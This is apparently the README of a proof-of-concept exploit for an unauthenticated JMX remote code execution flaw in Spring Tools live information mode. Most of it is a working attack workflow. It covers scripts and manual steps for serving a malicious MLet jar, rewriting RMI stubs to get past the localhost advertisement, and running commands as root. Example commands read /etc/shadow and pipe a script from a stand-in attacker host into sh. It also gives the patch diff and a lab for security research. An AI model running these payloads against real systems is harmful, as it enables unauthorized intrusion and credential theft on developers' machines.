
Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.
中文 README | Advisory: Spring Security | CVE Record
Vulnerability: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 start Spring Boot applications in live information mode (enabled by default) with JVM arguments that expose an unauthenticated, TLS-less, all-interfaces-bound remote JMX agent. An attacker on the adjacent network can connect to the JMX MBeanServer without credentials and achieve direct RCE (as root) via MLet remote class loading.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HDiff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):
Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // enable JMX
"-Dcom.sun.management.jmxremote.port=<free port>",
"-Dcom.sun.management.jmxremote.authenticate=false", // NO authentication!
"-Dcom.sun.management.jmxremote.ssl=false", // NO TLS!
"-Djava.rmi.server.hostname=localhost", // the only "barrier": stubs advertise localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // all actuator endpoints via JMX
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Fixed 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).Note:
-Dcom.sun.management.jmxremote.portalone is enough to enable the JMX agent (the maincom.sun.management.jmxremoteswitch is not required) — the VSCode variant is equally exploitable.
The scripts are fully decoupled: setup-lab.sh only builds the environment, attack.sh only performs the exploit. Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).
setup-lab.sh)./setup-lab.sh vuln # vulnerable config (5.2.0 args) [default]
./setup-lab.sh fixed-pinned # fixed 5.3.0 pinned-port config (JMX on 127.0.0.1 only)
./setup-lab.sh fixed-auto # fixed 5.3.0 default auto config (no remote JMX port)
./setup-lab.sh cleanup # stop & remove container and network
It builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → prints the victim IP / JMX port / gateway. The victim keeps running so you can attack it next.
attack.sh)./attack.sh <victim-ip> 19090 "id; whoami; uname -a" 8000
# Custom command (default id; hostname; uname -a; no recompilation needed)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
It builds the evil jar → generates mlet.txt (command delivered via <ARG>) → serves the payloads over HTTP → runs the exploit. The payload only executes the command and echoes it back: the command runs synchronously via /bin/sh -c inside the victim JVM, its output is captured in memory, and the exploit pulls it back over the same JMX connection (Pwn.getOutput() / getExitCode()) and prints it on the attacker side. No files are written on the target — to also keep the output there, redirect inside the command (e.g. "id > /tmp/out.txt").
Contrast test:
./setup-lab.sh vuln→ exploit succeeds; then./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned→ exploit must fail (JMX loopback only).
attack.sh (recommended)The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):
./attack.sh <target-ip> <jmx-port> "<command>" [http-port]
# Examples
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # basic recon
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # read a file
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # pipes / reverse shell etc.
./attack.sh 192.168.1.20 19090 "id" 8000 # arbitrary remote target
# Env vars
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # IP of this host as seen by the victim (auto-detected by default)
JDK_DIR=/path/to/jdk ./attack.sh ... # JDK location
Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit. The payload only executes the command and echoes its output back; it writes nothing on the target.
# 1) Build the payload jar
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) Generate mlet.txt (replace <COMMAND> with yours; XML-escape & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<COMMAND>">
</MLET>
EOF
# 3) Serve the payloads
python3 -m http.server 8000 --bind 0.0.0.0 # from the exploit-server directory
# 4) Compile and run the exploit (JDK 17+ needs --add-opens to rewrite the RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <target-ip> <jmx-port> "http://<this-host-ip>:8000/mlet.txt"
# 5) Verify on your own (output goes to the victim app console/log, e.g. docker exec victim tail /app.log)
Pwn implements DynamicMBean; the command runs synchronously in the constructor via /bin/sh -c (priority: MLET <ARG> argument > victim env var CVE_PAYLOAD_CMD > default id; hostname; uname -a).Pwn captures the command's stdout/stderr in memory; the exploit then invokes getOutput() / getExitCode() over the same JMX connection and prints the output on the attacker side. No files are written on the target (apart from side effects of the command itself). To also keep the output on the target, redirect inside the command ("id > /tmp/out.txt" or "id 2>&1 | tee /app.log").Why
<ARG>? JDKMLetParseronly recognizes<ARG>(<PARAM>is silently ignored), and bothTYPEandVALUEare mandatory. Also, the MLet parser does NOT handle HTML comments — keep any stray<...>text out ofmlet.txt.
attacker ──TCP──▶ victim JMX RMI registry (19090) <- attacker actively connects to the victim's service
attacker ◀──TCP── victim RMI Server (random port) <- normal JMX protocol traffic
attacker ──invoke──▶ victim JVM: newClient(null) <- login to MBeanServer with NO credentials
attacker ──invoke──▶ victim JVM: getMBeansFromURL(.) <- victim JVM synchronously instantiates the evil class
victim JVM ──HTTP GET──▶ attacker :8000/evil.jar <- the only "callback": downloading the payload jar
victim JVM inside: Pwn constructor Runtime.exec("<cmd>") <- command executes directly inside the victim
getMBeansFromURL returns, the command has finished (output has already landed in the victim app's log/console).-Djava.rmi.server.hostname=localhost, which only makes RMI stubs advertise "localhost" (a default client dials its own loopback and fails — reproduced by NaiveJmxClient). JmxExploit rewrites the stub's TCPEndpoint host via reflection (Metasploit java_jmx_server and similar tools bypass it the same way).| Config | JMX listen | Remote unauth connect | RCE |
|---|---|---|---|
| 5.2.0 vulnerable (Eclipse args) | *:19090 etc. (0.0.0.0) | ✅ (stub host rewrite bypasses localhost) | ✅ root |
| 5.2.0 vulnerable (VSCode 2.2.0 args) | *:19090 (0.0.0.0) | ✅ | ✅ |
| 5.3.0 fixed (pinned port) | 127.0.0.1 only | ❌ connection refused | ❌ |
| 5.3.0 fixed (default auto) | no JMX port | ❌ | ❌ |
Evidence (echoed directly on the attacker side; zero files written on the target):
[+] --- command output (echoed from the target) ---
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar # <- command delivered via <ARG>
SECOND_FLEXIBLE_RUN
root
/
-rw-r--r-- 1 root root 21924167 ... /app.jar
[+] --- exit code: 0 ---
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true.CVE-2026-47858/
├── README.md # this document (Chinese)
├── README.en.md # English documentation
├── setup-lab.sh # environment setup script (vuln / fixed-pinned / fixed-auto / cleanup)
├── attack.sh # exploit script (configurable command, no recompile needed)
├── attacker/
│ ├── JmxExploit.java # exploit: stub host rewrite + MLet remote class loading RCE
│ └── NaiveJmxClient.java # control: naive client that fails against the localhost advertisement
├── exploit-server/
│ ├── evil/Pwn.java # malicious DynamicMBean (constructor executes the command)
│ ├── mlet.txt.template # MLET descriptor template (command placeholder __COMMAND__)
│ └── evil.jar # prebuilt payload jar (command-agnostic, rebuildable anytime)
└── victim-app/app/ # victim Spring Boot 4.0.7 app (web+actuator)
This repository is provided for authorized security research, vulnerability validation and defensive testing only. Using it against any system without authorization is illegal; you are solely responsible for your actions.